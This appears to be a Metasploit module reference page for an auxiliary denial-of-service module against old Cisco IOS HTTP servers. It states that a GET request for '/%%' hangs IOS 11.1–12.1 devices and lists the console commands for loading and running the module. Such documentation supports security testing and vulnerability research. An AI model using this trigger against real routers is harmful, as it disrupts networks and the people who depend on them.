module

Cisco IOS HTTP GET /%% Request Denial of Service

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Disclosed
2000-04-26
Created
2018-05-30

Description

This module triggers a Denial of Service condition in the Cisco IOS
HTTP server. By sending a GET request for "/%%", the device becomes
unresponsive. IOS 11.1 -> 12.1 are reportedly vulnerable. This module
tested successfully against a Cisco 1600 Router IOS v11.2(18)P.

Author

aushack patrick@osisecurity.com.au

References

Module Options

To display the available options, load the module within the Metasploit console and run the commands ‘show options’ or ‘show advanced’:


    msf > use auxiliary/dos/cisco/ios_http_percentpercent
    msf auxiliary(ios_http_percentpercent) > show actions
        ...actions...
    msf auxiliary(ios_http_percentpercent) > set ACTION < action-name >
    msf auxiliary(ios_http_percentpercent) > show options
        ...show and set options...
    msf auxiliary(ios_http_percentpercent) > run
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